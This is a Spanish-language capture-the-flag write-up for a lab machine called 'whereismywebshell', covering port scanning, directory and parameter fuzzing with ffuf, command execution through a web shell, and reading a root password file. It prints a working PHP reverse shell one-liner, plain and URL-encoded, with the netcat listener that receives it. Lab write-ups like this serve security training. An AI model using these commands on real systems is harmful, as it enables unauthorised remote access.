MAQUINA whereismywebshell (FUZZING de PARAMETROS con FUFF - RCE)

ENUMERACION:

nmap -p- --open --min-rate 2000 -n -Pn -sS 172.17.0.2

Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-03 11:17 -03
Nmap scan report for 172.17.0.2
Host is up (0.0000050s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 02:42:AC:11:00:02 (Unknown)
whatweb http://172.17.0.2/   

http://172.17.0.2/ [200 OK] Apache[2.4.57], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.57 (Debian)], IP[172.17.0.2], Title[Academia de Inglés (Inglis Academi)]

Inspeccione la web donde use wappalyzer para las tecnologías de la web y vi que el lenguaje este en PHP (importante), luego un comentario donde me indicaba cierta pista.

Con feroxbuster busque directorios ocultos dentro de la web.

feroxbuster -u http://172.17.0.2 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-1.0.txt -x php,txt,html 

200      GET       91l      227w     2510c http://172.17.0.2/index.html
200      GET      855l     4253w   327103c http://172.17.0.2/escuela.jpg
200      GET      521l     2920w   254921c http://172.17.0.2/clase_ingles.jpg
200      GET       91l      227w     2510c http://172.17.0.2/
500      GET        0l        0w        0c http://172.17.0.2/shell.php
200      GET       11l       34w      315c http://172.17.0.2/warning.html

Antes de ver el directorio shell.php donde el estado tiene como valor 500 mire la ruta warning.html con estado 200, dentro hay un comentario interesante que dice lo siguiente.

Volví a la ruta shell.php y use el siguiente comando para que FUFF me busque parámetros validos utilizando el diccionario "burp-parameter-names.txt", a la ruta "/shell.php" le agregue ?FUZZ, la palabra FUZZ hace que cada palabra del diccionario sea utilizado en esta SECCION por ultimo le indico que sea igual a "test" esto puede ser igual a /etc/passwd o a algo.

ffuf -u http://172.17.0.2/shell.php?FUZZ=test -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 0

parameter               [Status: 200, Size: 12, Words: 1, Lines: 2, Duration: 3ms]

Coloque el parámetro "parameter" en la url y a modo de prueba coloque un "ls" donde con éxito liste el contenido de la interno de la carpeta.

ACCESO INICIAL:

Luego use la siguiente revershell URLENCODEADA para obtener acceso remoto a la maquina victima.

php -r '$sock=fsockopen("172.17.0.1",443);shell_exec("bash <&3 >&3 2>&3");'
php%20-r%20%27%24sock%3Dfsockopen%28%22172.17.0.1%22%2C443%29%3Bshell_exec%28%22bash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27
nc -nlvp 443                               
listening on [any] 443 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 33256
whoami
www-data

POST-EXPLOITACION:

Ya dentro de la maquina realice la enumeración correspondiente sin encontrar nada interesante.

Luego volví a la imagen del comienzo y vi que el comentario indicaba que hay alojado algo en la carpeta /tmp.

Luego allí encontré un archivo .secret.txt donde se aloja unas credenciales pertenecientes al usuario root.

www-data@2ccd37adc29d://tmp$ ls -la
total 12
drwxrwxrwt 1 root     root     4096 Jul  3 14:38 .
drwxr-xr-x 1 root     root     4096 Jul  3 14:15 ..
-rw-r--r-- 1 root     root       21 Apr 12  2024 .secret.txt
prw-r--r-- 1 www-data www-data    0 Jul  3 14:38 f
www-data@2ccd37adc29d://tmp$ cat .secret.txt 
333333333333333333333

Last updated